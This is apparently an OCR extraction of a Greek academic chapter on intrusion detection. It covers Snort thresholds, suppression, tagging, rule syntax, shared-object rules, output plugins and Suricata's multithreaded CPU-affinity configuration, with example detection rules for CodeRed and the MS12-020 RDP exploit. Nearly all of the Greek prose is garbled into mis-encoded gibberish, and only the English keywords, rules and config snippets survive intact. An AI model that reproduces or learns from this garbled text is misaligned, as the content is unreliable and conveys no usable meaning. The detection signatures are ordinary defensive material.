TPOTEPAOTNTOG oL B pmopovoe va ayvonbel amd TO OlYEPLOTH] TOL GLOTNUATOG), TAEOV
nwpooTtifetan o€ pio, ovpd To KAOE YEYOVOS TTOL AVIYVEDETUL KOl GTI GUVEYELD 0oV £yovv a&lohoynOel
OAeg o1 OBéoipeg VITOYPAPES EMAEYOVTOL Ol €100TOGELS TTOL Ba mpémel va mopayBodv. H emdoyn
TOV €100TOMCEMY TOL Ba TapayBovV givorl TOPAUETPOTOMGIUN HECH TG EMAOYNG eVent_queue tov
apyeiov pvOuicewv tov Snort. H ta&vounon tav yeyovotwv e ovpag pumopel va yivel gite PAcel Tov
UEYOADTEPOV GE UNKOG TEPLEXOUEVODL TOV TOKETOL OV Toiplage pe KAmow vroypaen, N PAcEL TG
TPOTEPAOTNTOG TNG K&Oe vmoypagns. EE’ opiopod, to Snort ypnowonotel g kprrhipto ta&vounong
TO UNKOG TOL MEPLEYOLEVOD TOV TOKETOV, OOONKEVEL EMG OKTM YEYOVOTO GTIV OVPA KOl TAPAYEL £WG

TPELS EWOOTOMOELS Y10 KAOE TUKETO.
AALO Y OpOKTNPIOTIKA TOV £Y0VV TPOoTeDEl e TNV Tépodo Tov ¥pdvou givol Ta eENG:

o  Koatdeho (thresholds). Metd v mapaywyn picg €domoinong, oAl mpv v KAHoN TOL
TpoceTov otoryeiov 5600V, €AEYYOVTOL Ol TIWEC KOTOOAOL TTOL £YOLV OPLOTEL YO TNV
ATOGTOAN €00TocE®Y. ME TIG TIHEC KATOPAI®V SIVETOL 1) SLUVOTOTNTO TEPLOPIGHOD TOV

apBpob €100moMcEMY OV TOPAyovTal amd pia vroypaen. Ot dwwbéciueg emhoyéc eivat:

» limit (zeplopronde). H emthoyn avt neplopilel Tov aplOpd e180momoemy oy punopsi
va wopayel pio vroypagn. o mopddetypa, n wpocsOnkn ¢ mapakdTm odnyiog
meplopilel v mopaymyn €Womomoewv Yia kdbe oevBuvon mpoérevong IP oe pia
avé 60 devteporenta. O meplopiopds avtdg eQapUOleTOL 68 OAEG TIC LIOYPOQPES
(sig_id 0) tng unyovig aviyvevong (gen_id 1):
threshold gen_id 1, sig_id 0, type limit, track by_src, count 1, seconds 60

= threshold (katdeAi). Me v emhoyn avt) Tpocdiopiletar o eAdylotog aptOudg
YEYOVOT®V oL Bo TPEMEL VAL ELOOVIGTOVV TPV OO TNV TOPAYOYN HOG EW00TOINoNG.
Mo mopaderypa, pe v mapakdto odnyio Bo mapoydel pio edomoinon povo OGOV
aviyvevboov mévie yeyovota (OTmG amoTuyNUEvVEG Tpoomdfeleg cOvdeoTg) Yo pia

OLYKEKPIUEVT] O1EVOVVGT TPOOPIGHOV EVTOG £VOG S10.0TNHLATOG 60 dEVTEPOAENTMV:

threshold:type threshold, track by _dst, count 5, seconds 60;
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»  both (opeotepa). Eivar évag cuvdvacpdg tov mapandve, [pocdiopilel Tov aplOuod
YEYOVOT®V TOV TPEMEL VO EVTIOMIOTOVV KOl TO HEYIGTO aplOud €100TOMCEMY TOL

UTOPOVV va. Tapayfovv.

o Koataostol (suppression). Ilpdkeital yio 10 TeEAeLTOiO0 PAUO TPV THY KOTOYPOUPT KOl THV
amooToAn eomomce®mv. H kotaoToAn divel Tn SuvaTOTNTO ATEVEPYOTOINGNG CLUYKEKPIUEVOV
VIOYPOQ®V Yo, eMAEYHEVEG devduveelg IP otig omoieg dev eivan ypnoo va e&etdlovrat.

Mopaderypa tétotog 0dnyiog eivat To axdAovbo:
suppress gen_id 1, sig_id 1852, track by_dst, ip 10.1.1.1

o TlapaxorovOnon (tagging). H mapakorovdnon eivor pio Aettovpyio mov ekteAeiton yio ta
TOKETO TOV EMOVTAL YPOVIKA EVOG TAKETOV TTOV evepyomoinae pio gwomoinon. I[pocsbétovrog
og pio vmoypaen v emhoyn tag, emtuyydvetol 1 Kataypapn £vOg CUYKEKPLEVOL OYKOV
OEOOUEV@V OV  CPOPOVV TN GLYKEKPIUEVT] oVVodo T vroloyiotr. Kataypdpovtog
TEPLOCOTEPES TANPOPOPIEG Vi TN SlEPXOUEVT] Kivnom, SiveTal 1 dSuvatdTNTA GTOVG OVOAVTEG
va Tpocdopicovy v artia piog gwdomoinong Kot v €kfoon piog mpoomddelag elGfoAng.
Mo mapddetypa, N TopakdTo® VTOypaen Tapdyet pio edonoinon otav avyyvevbei n Evapén
piog ovvodov ot Bopa 23 (Telnet) kot koTaypdeet Ta TaKETA TOL SLOKIVOVVTAL EVTOG OVTHG

NG GLVOOOL Yio To emdpeva 10 dgvteporenta:

alert tcp any any -> any 23 (flags:S; tag:session,10,seconds;)

6.1.3 Ymoypaéc

Ye éva apnpnuévo eninedo, pio vroypaer tpocdiopiletl pio cuvOfkn 1 pio KATACTACT TOV dKTOOV,
KoOADC Kol TIG EVEPYELEG TOV TPEMEL VO, EKTEAEGTOVV OTav tKavomonfel avtr n cvvOnkm. Oieg ot
emPEPOVS ovvOnkeg mov mpoodopiloviar o pio vroypapr Oa WPEMEL VO IKOVOTOLOUVTOL
TPOKEUEVOL VO EKTEAEGTOVV 01 avtioToryeg evépyetes. H obvtaén plog vmoypagng tov Snort givar n

aKoAovon:
action protocol src_ip src_port -> dst_ip dst_port (rule_options)

H mopordve cdvtaén mepiiapPdver 600 tunpata, TNy emKEQAAidn mov Ppicketal mpv amd TNV
mapévieon Kot Tic emloyég mov Ppickovtar evtog tng mapévieonc. XTig EMOUEVES TTAPAYPAPOLS

TEPLYPAPOVTOL OVTA T SVO HEPT LU0 VITOYPAPNC.

6.1.3.1 Emkepolido (Header)

Mo v KaAdtepn Katovonorn e G0N (g vroypaeng sival ypnoipo va ypnotpomoindel o

TAPASELYLLOL 1) TTOPAKATW VITOYPOQON:
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alert tcp SEXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-I1S CodeRed v2
root.exe access"; flow:to_server,established; uricontent:"/root.exe"; nocase;
reference:url,www.cert.org/advisories/CA-2001-19.html; classtype:web-application-attack; sid:1256; rev:8;)

To TpMqHa TG VITOYPAPNC LE TO VIOV YPALLLATO TOL TPONYEITOL TG TopEvieon amotedel TO TN

G emkePuAidag. To Tupa ovtd Exel pio avotnpd Kabopiopévn dopr| kot TPETEL vo TepIAapPaver

OLOL TOL TUAUATO KO LLE TN GMOOTH OEPA TPOKELUEVOL Vo eivat Eykvpn 1 voypoer. Ta Tpupata piog

EMKEPAALONG etvor Ta axdAovDa:

Evépyewa (action). TIpocdiopilel v evépyeto mov Ba mpénel va mpayuatonondel epdcov
KOVOTIOL00VTOL Ol GLVONKES NG VIOYPOENS. YTAPYovV TEVTE EMAOYEG OO TIG OMOieg Ot
ovvnBéotepeg eivar to alert ko o pass. Yrdpyouvv eniong dAleg tpeig emhoyég (drop, reject,
ko sdrop) ot omoieg pmopovv vo ypnoiomomBbovv yio v evddypouun Asttovpyia. H
emloyn alert éyel o¢ amotéheoua Vv mapaywyn piog sWdomoinong, evd N emAoyn pPass £xet
OC OTOTEAEGLLOL T U1 TTOPOY®YN E00TOINGNG KOl TOV TEPUATIOUO emeepyaciag TOL TAKETOV.
Xpnowomoteitor yio. TNV TEPITTOON KATA TNV Omoict Oev VLWAPYEL E€VOLLPEPOV Yo TNV
TOPAY®YY] EWOOMOMCEMYV CYETIKA e OCULYKEKPIUEVOL €100V¢ OIKTLOKY Kivnorn Kol Tov

TPOGOIOPIoUO EENIPEGEDV Y1 CLTN V.

Ipotoxkorro (protocol). Xpnoyomoteiton pio AEEN Y10 TOV TPOGSIOPIGHO TOV TPMTOKOAAOL,
onwg TCP, UDP, ICMP ko IP.

AlevBvvon kor Ovpa mpoéreveong ko mwPoopiopod. Metd and 10  TPMOTOKOAAO
npocdlopilovtal 1 devBvvon kai n Bupa Tpoérevong katl Tpoopiopov. ['a Tov Tpocdoptopd
tov devbdiveewv IP umopodv va ypnoiwomomBovv pepovopéveg oevbvvoels, Adota
devbivoewy doywplopévoyv ue Koupota, gopog olevbiveemy vmnd t popen CIDR
(Classless Inter Domain Routing) 1 kot cuvévacpog OA®V TOV TPONYOUUEVOV LOPPOV.
Emiong pmopovv va ypnoipomombodv petafAntég ol Tipég TV onoiwv Tpocsdiopilovtal oto
apyeio pvbuicemv tov Snort. T mopddetypo umopel vo ypnoipomomBel 1 petafAnt
$HOME NET yia tov npocdiopioud tng dievbvveng IP mpoélevong 1 mpoopiopod, pocov
ot0 opyeio pvbuicewv éyel mpocodlopiotel pio T ywoo avty TN pETaPANTh, OmOC M

TOPOKATO:
var HOME_NET 192.168.1.0/24

Télog, pmopel va ypnoonombet n AEEN Khedl “any” TPOKEWEVOL va TPOGIIoPIoTEL OTL 1
VIOYPAPN ovTh poprdletor oe omoadnTote devbvvon IP. Avtictoyn eivar i Aoykn mov

O1ETEL KOl TOV TTPOGOIOPIGHO Bupdv.
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6.1.3.2 Emoyég (options)

To devTEPO TUNHO pl0G VTTOYPAPNG OV Ppioketar evidg g mapévieons, eivor Aydtepo dounuévo

amo Vv emkeparida. Ta opicpata propovv vo tomofetnfodv og 0noldNTOTE GEPAE, AALL 1 GEPA

tonofétnong Tovg ennpedlel v akpifelo Kot TIG EMSOOELS TNG UNYAvIG aviyvevons. Opiopéveg and

TIG KUPLOTEPEG EMAOYEG €ivat o1 akdAovOEG:

Msg. Arotekei Tov TiTAO T®V €100TOMGEWMY OV B TapayOovV amd TNV LILOYPUEN.

Flow. Eivou pia 0dnyio mov mpocdiopilel Tov TOTO Kal TNV KOTAGTAGN TOL O TPEmel va £t
pia porp TCP mpokeévou va eEgtaotel Evavtt g vroypaens. Ot diubéoieg emAoyég eivat

to_server, from_server, to_client, from_client, established kot stateless.

Content. ITpokettar yio v emAoyn e TNV omoio TpocdiopileTal To Keipevo mov avalnteitol
eVTOC TV dedopévav evog makétov. Avtiotoyn emthoyn eival kat 1 uricontent. H diapopd
™G omd v emihoyn content givon 61t dev e&etalel Ta yviolo 6€d0UEVE TOV TOKETOV GALG TO
omotéAecpa NG Koavovikomoinong tov mpoenefepyacty HTTP. H  kavovikomoinom
mepthoppavel petalld GAA®V aAAayéC OTTMG 1 TPOTOTOINGT TG KOIIKOTOINGT] TOV KEWEVOL

KO 1] 0TORAKPUVOT TOAMATAGY emmédov “..[.1.17".

Depth. ITpocdiopiopdc tov péyiotov Pabovg o bytes evtdg tov TakéTov oto omoio Ha Tpémet

va Bpedel to keipevo mov avalnteitat.

Offset. Mropei vo ypnoyomomBel pepovopuéva 1 kol e cuvévacud pe v emaoyn depth,
TPOKELWEVOL Vo, Tpocdlopicel to Babog oe bytes and to omoio O mpémetr va Eexvioet

ava{Tnomn ToLv KEWEVOU.

Within. TIpocdiopiler tn péyiomn omdéotoon oe bytes mov Oa mpémer va ywpiler 600

Ol0POPETIKG KeiLEVA TTOL avalnTovVTAL.

Distance. TIpocdwopilel v ehdylotn amdotoon ce bytes mov Bo mpémer vo ywpilel 600

SlopopeTikd keipeva mov avalnrodvrot.

Flowbits. Xpnowonoteitar yi v mopoakorovdnon piog cAvcidag yeyovotov ta omoia
eKONA®@VOVTAL HECH OAPOPETIKMY TTAKETOV. Mio vToypagn pmopel va 0Etel Ty T evog

flowbit kou pio devtepn voypaEn va eAéyyet av £xel tebei Tiuf og avTO.

Bytetest kol Bytejump. Aivovv 1 duvatdmto eAéyyov ¢ Tiung evog byte oe cuykekpévn

0¢om.

PCRE (Perl Compatible Regular Expressions). Aivetar 1 6vvatdtnto xprouuonoinong

EKPPAGEMV Y10 TOV TPOGO0PIGHO GVVOETMV cLUVONKDOV.
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O1 emhoyéc mov elvar drabéotpeg dev mepropilovtar povo otnv moaparave Aiota. Eival molvdpiBueg
KOl TEPLYPAPOVTAL AVOAVTIKG 6TO gY)epidto ypnong tov Snort [20]. Extog and emhoyéc Omme ot
Tapomdve ot omoieg emnpedlovy TO AMOTEAEGUO TNG OVIYVELGONG, VTAPYOLV KOl Ol EMAOYEC
petadedopévev ol omoieg dev mpocdopilovv kamoleg cuvOfkeg aAdd PonBodv otV avayvdpion Kot
taEvopunon tov ewonomoemv. Ot emhoyég avtéc ouvnbwg mpootifevion tehevtaieg Katd GEPAL.

Opiopéva mapadeiypoto TETOLMV EMAOYMV EVOL TO TOPAKATO!

o Reference. Xvoyétion g vroypaeng cuvnbmg HE GLVEEGUOVG TOV TEPLYPAPOVY TNV

aduvapio EvovTl TG omoiag TaPEYETOL TPOOTUGIO OO TN GUYKEKPILEVT] LITOYPOQY].

o Classtype. Ta&vounon Tov voypap®v BACEL TMV KATYOPLDV TOL OVAPEPOVIOL GTO APYE0
classification.config. T xdBe xatnyopia mov mephoufdvetar o avtd TO  Opyeio
npocdiopileton kon évag PabUoc mpotepaldTNTOC, 0 000G Elval XPMGILOG Y10 TO XEPIGUO

TOV EWOOTOCEMV OO TO SLUYEPLGTH TOV GUGTHILOTOG,.
o Sid. Movadikd avoyvopioTikod Thg VITOYPAPTS .

o Rev. ApiBuog ékdoong TG LIToYPUPTG.

6.1.4 Avvopukn pnyovn aviyvevong

‘Eva eEa1petikd onuovTikd yopoKTnplotikd tov Snort eivor 1 duvapukn pnyovn aviyvevone. To
YOPOKTNPIOTIKO OUTO EMTPEMEL TN ONUIOVPYIO VITOYPUP®OV Ol omoieg eivar ypapuéveg og C kot
QOPTAOVOVTAL OLVOUIKG GTN pnyevn aviyvevong tov Snort. Ot vmoypagég avTég gival YVmOTEG MG
Shared Object Rules xat égovv Vo onuoviikd micovektuata. To TpdTO TAEOVEKTNUO Eivar M
SVVATOTNTOA GLYYPUPNG TOAVTAOK®Y VITOYPAP®Y TOL dev B NTay €VKOAO va dnpovpyndovy pe v
omAn oOVTaln VTOYPOPOV TOVL TEPLYPAENKE TPONYOLUEV®S. To dehtepo mAgovéKTU €lval M
SuVATOTNTA. GLYYPOUPNG VROYPAP®Y Ol Omoieg dev divovv Tn dvvoTdTNTO GE KAMOOV TPITo Vo
avTIANEOel gvkola Tov KPP TPOTO aviyvevong NG AMEANG, KOO 1 vroypae HetayAotTtileTon

Kol 0gV VILAPYEL TPOGPAGT GTOV TNYOL0 KOG TNC.

IMapdéro mov or vmoypopéc ovtéc mpocdiopiCovtar evtog tov Shared Object, amarteitar £vog
UNYOVIGUOG EVEPYOTOINOTG KOl AEVEPYOTOINONG TOVG. 'l AT TO GKOTO VIAPYOVY Ol VIOYPUPES
stub, ot omoieg potdlovv pe Tig amAég VIOYPUQEG AAAG dev Tephapavouy emioyég aviyvevonc. ‘Eva

Tapadeypo piog TETog VTOYPUPNS Elval To akdAovo:

alert tcp SEXTERNAL_NET any -> $HOME_NET 3389 (msg:"EXPLOIT Microsoft Windows
RemoteDesktop connect-initial pdu remote code execution attempt™; sid:21619; gid:3; rev:2;
classtype:attempted-admin; reference:cve,2012-0002; reference:url,technet.microsoft.com/en-
us/security/bulletin/ms12-020; metadata: engine shared, soid 3|21619, service rdp, policy balanced-

ips drop, policy security-ips drop;)
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6.1.5 "E€odog

Ta mpocheta otoryeio. (plug-ins) €£66ov tov Short divovy T duVOTOTNTO GTO SLOYEPIGTH VL
npocapudcel Ty €060 TOV GLGTAKNATOC GTO €KAGTOTE TEPPAALoV, Tpoadiopilovtag ta. {nTHpata
OV aPOPOVV TN LOopPoToinon Kot Ty anobfkevon v dedouévav e£6dov. To Snort dwabétel Eva
ueyéro evpog mpdohetwv ororyeimv (plug-ins) e£6dov, o omoia vootpilovy dlaPopeTikod THTOVL
TEYVOAOYiEC, TPOIOVTO Kol LOPQOTOMGELS, ocvumepthapfoavouéveov apyelov keévov, Pdoewmv
dedopévarv kat apyeiov XML. EmnpocBétamc, divetar ) duvatdtrta cuyypapng véov tpochétav yo

Vv eEUIMPETNOTN EEEIOIKEVIEV®V OVOLYKDV.

H mo a&oonueiotn and tig popeéc €£6d0v Tov Snort sivor o Unified Logs, ta onoia oyedidotnkay
[e 6TOY0 TNV AOENON TNE TaYDTNTAS Kol TG anotelecpatikotnTog tov Snort. To Unified Logs eivot
ovadikd apyeio katoypagne oto omoion yphper v €£000 TOL TO SNOrt, HEWOVOVTAG TOVG
VIOAOYIGTIKOUS TOPOVG TTOL ¥PedleTon Vo SOTOVIGEL Y10 EPYACIEG TOV OV OPOPOVV T1 GCOAANYT| Kot
avdAivon mokétov. To apyelo oVTd PTOpPOVV GTI GULVEXELN VO ETEEEPYAGTOVV OO GAAES EQPOPLOYEG
mov o avoddfovv TV elcay®YN TOVg Yo ToPAdelyua og Paoelg dedouévav. Me avtdv Tov TpOTOo
divetor M duvoTdTNTO VO aoBNKeELOVTOL 08 TPAYUATIKO Ypovo Ta dedopéva tov Snort oe Pacelg
dedopévav, yopig va ypetaletar n unyoavi Tov Snort va acyoAndel e T HeTaTpomTh Kol LOppoToinon
tovg. 'Etot emttuyydvetot o dtox@piopog g dtadtkociog COAANYNG Kol avAALGTC TMV TOKETMV TOL
extedeiton amd To Snort kot g Sdikaciag HopeomToinong Kot amodnKeLoNe TV SESOUEVOV TOV

exteLeiTo Ao pio GAAN eapuoy.

Mia tétota epappoyn mov avortdydnke yo v acHyypovn eneepyocio tov Unified Logs eivor to
Barnyard. To Barnyard mepiuévet tn dnuiovpyio apyeiov Unified Logs amd to Snort kot otn cuvéyeia
avaloppdvel v eneEepyacio Tovg, OTMOC Yo TOPAOEYHO TNV EICAYOYN TOV OEGOUEVAOV TOVS GE

Béoeig doedopévay.

6.1.6 Avrtidpaocn o€ el6Porég
To Snort £xetl T duvaTOTNTA AVTIOPAONG OTIG AVIYVEVOUEVEG EIGROAEG e dVO TPOTOVG:

o Evegpyn avtidpaon (active response). Me tov 6po evepyn avtidpaon yivetor avogopd oe
EVEPYELEG OLVOUIKNG TPOTOTOINGONG T®V PLOUIGE®MY OIKTVOK®OY GLGKEVOV EAEYYOV, BhoEL TV
gwonomoenv mov wapdyoviar amd to IDS. o avtod Tov €idovg v avtidpacn to Snort
umopel vo ovvepydotel pe Tpiteg epoppoyéc OT®G To SnortSam, to omoio umopel va
aAAnAemidpd pe Suagopa firewalls yuo v mopeumddion g kivnong mov TpoLpyetal amod

ovykekpuéveg dtevbovaoerg IP.

o Amotpomi €woPoing (intrusion prevention). O 6pog amotpomy €1GPOANGC avaEEPETAL GTN

duvaToTNTA TPOTOTOINGNG N ATOPPIYNG GVYKEKPLUEV®V TOKETOV TOV avayvepiloviol g
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vmonta, Kabdg avtd mpoomabovv va SiEABoLY amd pio cvokevy Om®G Evag vOVYPULOG
awoOnmpoc. o avtod tov €idovg v avtidpacn 1o Snort dwubétel eVvoOUATOUEVO TO
snort_inline 1o onoio a&lonoel 11 dvvatdtnrec tov Netfilter, | umopel va cvvepyootel pe

Tpiteg epappoyég dmmg to Fwsnort mov emiong a&lonotei to Netfilter.

6.2 A&lomoinon Kevipikav povadov ereéepyaciag (CPUS)

Me dedopévn v peydin avénon mov £xel onuelwbel oto 0pog {DVNG TV oNUEPVOV SIKTO®V, eivat
amapaitnto yoo éva IDS/IPS va pmopei vo oa&lomomcel pe tov KoADTEPO OGVLVATO TPOTO TOVG
VTOAOYIOTIKOUG TOPOVG ToL €xel dwbéoiovg ko kupiwg 115 SrBéoileg KeVIPIKEG LOVAOES
ene€epyaciog. To Snort dev ivan pia molvvnuatiky (multithreading) epappoyr kot covendg dev givat
oe Béon va ekpetodievtel dueca v vmapén moliamiov CPUs. O Adyog eivan 6Tt 1 avamtuény Tov
mponynonke g Evapéng Tov TOAVVNLATIKOD TPOYPOUUOATIGHOD KAl GTI GUVEXELWD OEV EMLXEPNONKE
va peteelytel, kabmng Bo amartovvtay Wwitepa peydin mpoondbeln dote va cuveyicel va gival

S1aB€o1p0 Yo OA0, TOL AEITOVPYIKA GLGTHLLOTO TOV Eival oNjpuepa. dS1a0Ea1o.

To 6t to Snort dev eivar pion moAVVNUOTIKY €apuoyn, o onuoaivel PéPata O6TL dev umopei vo
ekpetarrevtel v vmopén molhamiov CPUS. ‘Evag tpomog a&lomoinong tav dtopdpov CPUS givor n
TOPAAANAN EKTEAEGT] TOAAUTADY GTLYUOTV®Y TOL SNOrt, 6mov to Kabe oTrypoTLIO Oa YpNoYoTOoLEd
dwapopetikr; CPU ko to dikd tov Berkeley Packet Filter (BPF). To BPF enutpénetl to giktpdpiopa
TOV TOKETOV GTO EMINESO TOL MVPNVA, £IG1 MOTE To KABE oTrypidtumo tov Snort va enefepydleTon
SpopeTikd TOTO TOKETMV. 20TOGO, TO SYEPIOTIKO KOGTOG amd Lio TETOl0 TOPOUETPOTTOiNoT| ivat
eEapetikd peydlo kot oiyovpo Ba NTov mPOTINOTEPN 1 AEOTOINGT TOV SLVOTOTHTMOV OV OiVEL O
TOALVNLLOTIKOG TTpoypappaticpdc. Mia dedtepn mpooéyyion aflomoinong morlhamiov CPUS, eivar
avth g xprong tov Unified Logs kot tov Barnyard, 6mov to Snort ektelel T kOpieg Aettovpyieg
™¢ avaivong Tov makétov Kor to Barnyard og Eeyopiot diepyacio avoropfdvel Ty popeomoinon

Kot omofnkevon Tov dedouévmv.
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7 Suricata

To Suricata givat éva diktvakd IDS/IPS avoiktol kddKo Tov pn kepdookomikob opyaviouod OISF
(Open Information Security Foundation), o omoioc ypnuotodotiOnke amd v KvPépvnon tov
Hvouévav TTolteidv g Apepikng yio v avammoén evog IDS/IPS véag yevide. ‘Evag and toug
Bacikdtepovg o1OY0LE TOL Suricata sivar M amodoTik Tov Agitovpyia oe mePaAlovia VYMANG
dktvakng kivnong. ‘Exovtag katd vov 0TL 1 IO amottnTiky] 6€ VIOAOYLIGTIKOVS TOPOVG £pyacio oV
extelel éva IDS/IPS elvoan m aviyvevomn, ot mpoypoppotiotég tov Suricata omogdoicav vo
YPNOYOTOMGOVV TOAVVIIOTIKO TPOYPOUUATICUO Yol TN dlepyocia Tng aviyvevons, £I61 MCTE Vo
gtvor QT 1 Peitioon TV EMOOCEMV TOL GUOTHUOTOG OTOV Ol OMOLTNOES emelepyaciog TG
dwktvakng  kivnong av&avovial. XproylomoldvIog TOAAMTAG VApoTo Yoo Tn dlepyocio g
aviyvevong, etvat epiKt 1 AMyn anopacemv doympiopov tng eneéepyaciog mov amarteital, peta&n

TOV SPOPETIKAOV VIUAT®V TNG UMYV OVIYXVELGTC.

Katd ta Aowtd, ot mpoypappatiotés tov Suricata axkodovOnocov tn SOKIUAGUEVT KOl ETLTUYNUEVT
ocuvtayn Tov Snort, pe amotélecua vo vrdpyovv eEotpeTikd peydAeg opoldtnteg petald tov dvo
oLOTNUATOV. XapaKTNPIOTIKO TapAdelypa givol 11 cuvtaln T®V VTOYPAPOV 1 0Toin aKoAoVOEl TO
oLvTakTikO Tov Snort. Ot emloyég mov givar dBEcies yio 0 d0TEPO TUNUO LLOG VTOYPAPNG Eivat
eni 10 mhgiotov o1 101eg pe avtéc mov givar dwbéoueg oto Snort extog amd Alyeg eEapéoeic. Ot
Bootkdtepol AOYOL Y10, TOVC 0TTOIOVE YPNGILOTOONKE TO 1010 GUVTAKTIKO UE TO SNOrt gival aEevog
HeV TOo HeYAAO TANB0G vToYpae®dV oV ival eAevBepa dabéoieg Katl dupesa a&lomTotoleg, Kabdg

KOl 1 HEYEAN KOWOTNTA OV TIG CLVTNPEL.

AOY® avtfig NG opowdTNTOG HeTaEd TV OV0 CLOTNUATOV, OTIS ERMOUEVES TOPAYPAPOVG Ogv
TEPLYPAPOVTOAL AVAAVTIKG EKEIVOL TOL YAPAKTNPLOTIKA TOV Suricata mov opotdlovv pe awtd tov Snort,

oAAG BidETOL EPPOOT] KUPIMG OTA YOPAKTINPLOTIKA TOV TO SLOPOPOTOLOVV.

7.1 Apykomoinon

H Boowkn dwagopornoinon tov Suricata oe oyéon pe to Snort otn @don ¢ opyIKOToinong Tov
GULGTHLLOTOC, APOPA TOV TPOTO YEPICUOV TOV COUAUATOV TOV EVTOTILOVTOL KATH TNV OVAALOT TOV

VTOYPAPOV. g avtiBeon pe to SNOrt, o EVIOMGUOG CPAAUIT®MV GE KATOL LIOYPAPT dev 0dnyel o€

oo TG Evapéng TG EQPOPUOYNS, OAAL GE ayvomon TNG TPOPANUATIKNG VITOYPAPNS.

7.2 TloAvvnuatiopog

To Suricata givat pio TOAYIHOTIKY EQAPUOYN KOl CUVETDG givar o€ BEom vo a&10mo6el TOALUTALG

CPUs yio v mapdAinin enefepyacia peydlov minbovg ntakétwv, o avtibeon pe to Snort to omoio
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elvar avaykaouévo vo emeEepyaletal ta mokéta osiplokd. H dtadpoun enelepyaciog mov akorovbel

70 k(B TaKETO £lvan ovtioToyn e avtiv Tov Short:
1. Tlpaypatomoteitor apyikd 1) GLAAOYY TOV TAKETOV.

2. Metd 1n ovAAOYNR TOVL, TO TOKETO TEPVO OTOV OMOKMOIKOTOUTH TAKET®V  OTOV

OTOKMOIKOTOLEITOL KOl TPOLYLOLTOTTOLOVVTOL Ol TTALPOKAT® TPELG EPYACIEG:
i.  TapaxorovOnon g pong Tpokeévon va dtamiotodel n KATAoTAON TG GVVOESNG.
ii.  Amotunuartonoinon g pong TCP.
iii. Emfedpnon tov npowtokdAov tov emmédov epapuoyng HTTP, SSL, TLS, SMB,

SMB2, DCERPC, SMTP, FTP ko1 SSH

3. To mokéto €1G€pYETOL GTN UNYOVY OVIXVEVOTG Ylo. GUYKPIOT TOV HE TIG LTOYPOPEG TOV
poptdbnkav fdoel Tov 0dNyldV ToL apyeiov pubuicewv. To otddo avtd g enelepyociog
gitvat avtd 6T0 0TOI0 VITAPYEL 1| LEYAAT S10pOPOTOINCT| GE GYEOT e TO Snort, Kabmg propovv
VO AELITOLPYNGOVY TEPIGGOTEPO. amd £vo VAUNTO Yo TV TopdAAnAn enefepyacio TV

TOUKETOV.

4. Telxd, to mokéto amootéAhetal oty €£000 Yo TNV KOTAYPOE] TOL KOl TNV TOPAY®OYN

E100TONCEWV.

Detect

Ewoéva 7-1: Mapdaderypo rolovnuoticpod oto Suricata [21]

Ot mep1oc6TEPOL VIOAOYIGTEG oNEPO SLBETOVY TOAAATAOVG KEVIPIKOVG EMEEEPYACTEG 1 TUPNVEG.
Xpnowonowdvtog tnv odnyia set_cpu_affinity oto apyeio pvBuicewv tov Suricata, pmopovv va
TPocdloploTovV gite mpokabopicuévol mopnveg Yo 0 kaOe vrApo. (set_cpu_affinity = no) 1 va
ypnowomombel 0 TPMTOG TVPNVOG YO OAEG TIG TOPUTAVED OlEPYOCIEC KOl TOVTOYPOVA VO

ypnoyomombovy o1 VITOAOWTOL TLPNVEG Yo EMMAEOV VAUOTO TNG Olepyaciag aviyvevong
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(set_cpu_affinity = yes). Xtn devtepn mepintwon, o kabe woprvog drabétel ko Eva vijua aviyvevong,
OAAG To VAL Tov Tuprva 0 Exel YOUNAOTEPT] TPOTEPOULOTNTA OO TA LTOAOUTO, VALATO TOV 1010V
TUPNVO, LE OMOTEAEGUO VO YPNOILOTOLEITAL HOVO €POCOV O (OPTOC €PYOCiog TOV VNUATOV
aviyvevong tov dAlov Topyvov givar ToAd vynids. Emiong, n odnyia detect-thread-ratio pmopei va
ypnowomromBet ylo v tpomomoinor g avoloyiog Tmv vrudtov aviyvevons. EE opiopov éxet ipun
1.5 mov avtiotoyel og (1,5 X tov aplBud TV TLUPVEOV TOL LTOAOYIOTH) VAMOTO Kot 0dnyel ot

dnpovpyia TEPIGGOTEP®V VIUATOV Ao TOV oplOpd Tov Stabécimv mupRvay.

CPU/CPU core-threads set_cpu_affinity; yes
Cora 0 PAC DECODE  STREAM DETECT-  QUTPUT
| 1 DETECT
2 DETECT
3 DETECT
set_cpu_affinity: no
Example
Core 0 PAC DETECT
1 DECODE
2 STREAM DETECT X2
3 DETECT QUTRPUT

Ewoéva 7-2: E&ieopponnen goprtiov oto Suricata [21]

Xv nepintoon katd v omoio tebel set_cpu_affinity = no, ypnowonoteiton n odnyio ‘cpu affinity’
Y. TOV TTPOGOIOPICUO TOV VNUATOV 7oV ekTeAobvtal oe kdbe mopiva. o avtiv v odnyia
VIEapyovV o1 opadeg vnudtov management-, receive-, decode-, stream-, detect-, verdict-, reject- kot
output-. T kéBe pio amd avTéEG TIG OpAdEg VIUATOV 01 emA0YEG Cpu, mode ko prio. Me tnv emioyn
CPU UTOPOVV VO, TPOGIOPIGTOVV Ol TUPNVEG GTOVG OTTOToVE Bl EKTEAOVVTOL TAL VALLATA TNG OMLAdIS 1)
va tebei ) tyun all yio v emhoyn dhov tov dabéoiunv moprvev. H exthoyn mode umopei vo Aafet
Tig Tipég balanced 1 exclusive. Mg v emhoyn balanced 1o xé0e viua pmopel vo. eneepyaoctel amd
OAOVG TOVG TLPNVES TNG OpGdac. Me v emhoyn exclusive mpocdiopilovial GUYKEKPIUEVOL TUPTVEG
v To kG0e viua. Me v emhoyn prio mpoodiopiletar n TpotepadTTA TOV KGAOE ViipaTog, N omoia
umopei vo. AMaPer tig tuég low, medium, high v default. EE” opiopod to Suricata dnuovpyei éva vijua

aviyvevong yio kéfe drabéoio Topnva.

Eykotdoraon ko Hepopotiky Melétn Zvotnudrwv Aviyvevons Eigfoiov Zelioa 101



cpu_affinity:
- MEnagement cpu set:

cpu: [ 0 ]

- receive_cpu_set:
cpu: [ 0 ]

- decode_cpu_set:
cpu: [ 0, 1]

mode: "balanced™

- Stream_cpu_set:
cpu: [ "0-1" ]

- detect_cpu_set:
cpu: [ "all"™ ]
mode: "exclusive”
prio:

low: [ 0]
medium: [ "1-2
high: [ 3 ]
default: "medium”

- verdict_cpm_set:

cpu: [ 0 ]

prio:
default: "high"
- reject_cpu set:
cpu: [ 0 ]
prio:
default: "low™
- output cpu set:
:pu:_[ "all"” ]
prio:
default: "medium”

Ewova 7-3: Tlopadstypa mpocotopicpuod Tupivey avda opdado vipatov [21]

7.3 EmmnpocOeTa yopoKkTnpLloTiKa

